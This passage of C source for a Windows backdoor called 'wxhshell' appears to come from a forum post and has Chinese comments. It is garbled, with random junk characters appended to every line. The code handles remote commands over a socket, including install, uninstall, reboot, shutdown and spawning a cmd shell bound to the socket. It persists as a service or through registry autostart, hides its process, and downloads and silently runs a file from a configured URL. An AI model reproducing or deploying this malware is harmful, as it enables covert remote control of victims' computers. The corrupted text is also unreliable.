      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); '!p=aF9L  
    break; $H'8 #:[d_  
  } yH^f\u0  
  // 安装 2d-{Q 8Pi  
  case 'i': { C;9t">prk  
    if(Install()) 2gt+l?O<PS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~8TF*3[}[  
    else %dc3z"u  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -LTKpN`[@  
    break; K}x_nW  
    } _g[-=y{Bb  
  // 卸载 y,Jh@n';|  
  case 'r': { NetYg]8`  
    if(Uninstall()) WSRy%#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9e!vA6Fx  
    else KF+mZB  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D|l,08n"?  
    break; $/+so;KD  
    } !DPF7x(-{  
  // 显示 wxhshell 所在路径 Y&K <{\vE  
  case 'p': { )n( Q  
    char svExeFile[MAX_PATH]; Vo\H<_=G  
    strcpy(svExeFile,"\n\r"); ~O{W;Cyh  
      strcat(svExeFile,ExeFile);  ;\qXbL7  
        send(wsh,svExeFile,strlen(svExeFile),0);  Hy]  
    break; nU2V]-qY  
    } -p`L% xj\  
  // 重启 JE hm1T  
  case 'b': { yoQ\lk  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w~|1Wd<v  
    if(Boot(REBOOT)) z<B CLP  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F)S PaC4  
    else { id?"PD"%  
    closesocket(wsh); Lg4YED9#  
    ExitThread(0); E =AVrv5T  
    } /1d<P! H  
    break; .po>qb6  
    }  Qqc]aVRF  
  // 关机 [ ny6W9  
  case 'd': { KxIyc7.  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); jn JZ# =)  
    if(Boot(SHUTDOWN)) SJk>Jt=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j+kC-U;  
    else { D//=m=  
    closesocket(wsh); /7/0x ./{  
    ExitThread(0); 'c %S!$P  
    } mrM4RoO  
    break; [&#/|zH'j:  
    } |quij0_'e  
  // 获取shell ^A9 M;q  
  case 's': { 63 2bN=>  
    CmdShell(wsh); 7 ^$;  
    closesocket(wsh); X%}nFgqQ  
    ExitThread(0); V5p0h~PK  
    break; [sy j#  
  } poT&-Ic[  
  // 退出 "& 25D  
  case 'x': { QJGKQ2^ n  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !<<AzLVL  
    CloseIt(wsh); [ MyE2^  
    break; ]Oeh=gq  
    } $_Nf-:D*  
  // 离开 nP3  E  
  case 'q': { ;11x"S  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 91Z'  
    closesocket(wsh); 33Az$GXFsq  
    WSACleanup(); 5,)vJ,fs  
    exit(1); ZDt?j   
    break; lDU_YEQ>  
        } vXE0%QE'Q  
  } wT,R0~V0  
  } 9902+pW  
ravyiO L  
  // 提示信息 eWs&J24  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8LzBh_J?  
} kz} R[7  
  } 9=`Wp6Gmn  
<0P5 o|  
  return; YJV%a  
} iUi>y.}"P  
O+q/4  
// shell模块句柄 pCi#9=?N  
int CmdShell(SOCKET sock) c9"r6j2m5  
{ I:98 $r$  
STARTUPINFO si; ULJmSe  
ZeroMemory(&si,sizeof(si)); L{-LX= G^  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *ISZlR\#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Lh.b 5Q|  
PROCESS_INFORMATION ProcessInfo; ^x>Qf(b  
char cmdline[]="cmd"; n2B){~vE  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); NoE*/!Sr  
  return 0; q?qC  
} B;>{0 s  
ED>prE0  
// 自身启动模式 =@&cHY  
int StartFromService(void) /AY4M;}p  
{ @gC=$A#  
typedef struct bNs4 5hDP  
{ CC=d I  
  DWORD ExitStatus; CAq/K?:8  
  DWORD PebBaseAddress; *g}Yw  
  DWORD AffinityMask; 1RcSTg  
  DWORD BasePriority; W!Hm~9fz  
  ULONG UniqueProcessId; S8[=S  
  ULONG InheritedFromUniqueProcessId; g[RI.&?  
}   PROCESS_BASIC_INFORMATION; ^hNgm.I  
vX0f,y  
PROCNTQSIP NtQueryInformationProcess; }D411228  
#6Fez`A  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Un`^jw#_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (wIzat  
xsd_Uu*  
  HANDLE             hProcess; 3$.deYa$R  
  PROCESS_BASIC_INFORMATION pbi; ]^':Bmq  
?Nf>]|K:Q  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); poGc a1  
  if(NULL == hInst ) return 0; 61puqiGG^  
|(5W86C,ju  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b2aF 'y/  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); .+7;)K   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); fkf1m:Ckh  
,@1p$n  
  if (!NtQueryInformationProcess) return 0; 2 rw%H  
/|#&px)G  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5` Te \H  
  if(!hProcess) return 0; l^ZI* z7N  
yjfat&$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rSXh;\MfB4  
0/S_e)U  
  CloseHandle(hProcess); hX `}Q4(k  
y_\p=0t8  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); % K(<$!  
if(hProcess==NULL) return 0; DXz} YIEC  
!Mi;*ZR  
HMODULE hMod; T]2q?; N  
char procName[255]; iw*Nq,(  
unsigned long cbNeeded; m[j70jYe  
M\yT).>z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); pZ/>[TP(%F  
N<QXmgqx  
  CloseHandle(hProcess); `PY>Hgb  
KII *az  
if(strstr(procName,"services")) return 1; // 以服务启动 K|dso]b/  
3p0LN'q]A  
  return 0; // 注册表启动 y|'SXM  
} =[F<7pvE  
G:zua`u[  
// 主模块  -_`>j~  
int StartWxhshell(LPSTR lpCmdLine) @)Ofi j  
{ V}\~ugN)y  
  SOCKET wsl; 5nsq[Q`  
BOOL val=TRUE; v{}#?=I5  
  int port=0; X7s `U5'l  
  struct sockaddr_in door; =i~}84>  
.A6(D$ O k  
  if(wscfg.ws_autoins) Install(); ~%YBI9$+  
liXdNk8  
port=atoi(lpCmdLine); AhZ8 0!  
Dk?\)lD`  
if(port<=0) port=wscfg.ws_port; 9<KAXr#  
DZi!aJ  
  WSADATA data; $m42:amM  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; br|;'i%(  
TY1I=8  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   =jN *P?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); wXsmn1w9  
  door.sin_family = AF_INET; fMOU$0]$<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); /iX+R@  
  door.sin_port = htons(port); U\Z?taXB  
s0PrbL%_`  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { '0FhL)x?"T  
closesocket(wsl); b#X^=n2  
return 1; b[`Yi1^]%g  
} ub|V\M{  
p\bDY  
  if(listen(wsl,2) == INVALID_SOCKET) { ELj\[&U  
closesocket(wsl); %"P,1&\^  
return 1; |o\8  
} C+TI]{t  
  Wxhshell(wsl); x@*SEa  
  WSACleanup(); Rj4|Q:XG  
W VI{oso#  
return 0; >(;{C<6|^  
?Orxmxc 2  
} vMS |$L  
6Udov pl  
// 以NT服务方式启动 q}]XYys  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) q#s,- uu  
{ l g-X:Z.  
DWORD   status = 0; ;1a~pF S  
  DWORD   specificError = 0xfffffff; $g sxO!G  
;A*`e$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; '#&os`mQ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; e:5bzk!~  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; `|/<\  
  serviceStatus.dwWin32ExitCode     = 0; Pqn@ST  
  serviceStatus.dwServiceSpecificExitCode = 0; }nL7T'$>  
  serviceStatus.dwCheckPoint       = 0; g4l !xT  
  serviceStatus.dwWaitHint       = 0; PF53mUs4  
*3?'4"B{8  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HBMhtfWW  
  if (hServiceStatusHandle==0) return; ^3UGV*Ypk  
9_ d pR.  
status = GetLastError(); hK_LEwd;  
  if (status!=NO_ERROR) %;rHrDP(>  
{ Gy6l<:;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; v~^{{O  
    serviceStatus.dwCheckPoint       = 0; aL&n[   
    serviceStatus.dwWaitHint       = 0; [Ki0b^  
    serviceStatus.dwWin32ExitCode     = status; fyByz=pl  
    serviceStatus.dwServiceSpecificExitCode = specificError; ]VD|xm:kj  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); BYMi6wts  
    return; kYjGj,m"  
  } FN8NTBk  
dfij|>:*0  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; hBBUw0"  
  serviceStatus.dwCheckPoint       = 0; E/%9jDTQ  
  serviceStatus.dwWaitHint       = 0; sk=-M8;\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); O R;uqV@  
} /so8WRu.  
s;6CExH  
// 处理NT服务事件,比如:启动、停止 K5xX)oV  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Ro9tZ'N!S  
{ ce7CcHQ?B  
switch(fdwControl) L2[f]J%  
{ &FF"nE*  
case SERVICE_CONTROL_STOP: #~<0t(3Q  
  serviceStatus.dwWin32ExitCode = 0; a+%6B_|\  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z}MP)|aH:  
  serviceStatus.dwCheckPoint   = 0; !0vG|C ;'  
  serviceStatus.dwWaitHint     = 0; 6I4oi@hZz  
  { OHhsP}/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oyYR-4m\  
  } !Rhl f.x  
  return; !Ikt '5/  
case SERVICE_CONTROL_PAUSE: *q-['"f  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F;7dt@5;  
  break; Z|lq b=  
case SERVICE_CONTROL_CONTINUE: N-e @j4WU  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5 4L\Jx  
  break; AMyIAZnYq)  
case SERVICE_CONTROL_INTERROGATE: Y07ZB'K  
  break; }x07^4$j  
}; 4*Hgv:0?kI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %nV]ibp2)  
} =AEBeiz  
MP4z-4Y  
// 标准应用程序主函数 8n*.).33  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \E*d\hrl{  
{ 8[E!E)4M  
Jc|6&  
// 获取操作系统版本 ".<DAs j  
OsIsNt=GetOsVer(); <U!`J[n%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $**r(HV  
w-t8C=Z  
  // 从命令行安装 'U\<IL#U  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6 1F(<!  
\l]DQaOEe  
  // 下载执行文件 X;"Sx#U  
if(wscfg.ws_downexe) { 'gTbA?+@5  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) <7j87  
  WinExec(wscfg.ws_filenam,SW_HIDE); !>zo _fP  
} 'gPzm|f|t@  
h3z{(-~y  
if(!OsIsNt) { >U]C/P[+  
// 如果时win9x,隐藏进程并且设置为注册表启动 lna}@]oR  
HideProc(); T`;%TO*Y  
StartWxhshell(lpCmdLine); g!+| I  
} =1Oj*x@*4  
else #w\~&0  
  if(StartFromService()) O4^8jK}  
  // 以服务方式启动 vA]W|sLF9  
  StartServiceCtrlDispatcher(DispatchTable); Od5JG .]  
else /M3Y~l$  
  // 普通方式启动 S/ODq L|  
  StartWxhshell(lpCmdLine); S=e{MI  
|!"`MIw,  
return 0; -wSg2'b4E  
}
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只看该作者 1 发表于: 2006-10-10
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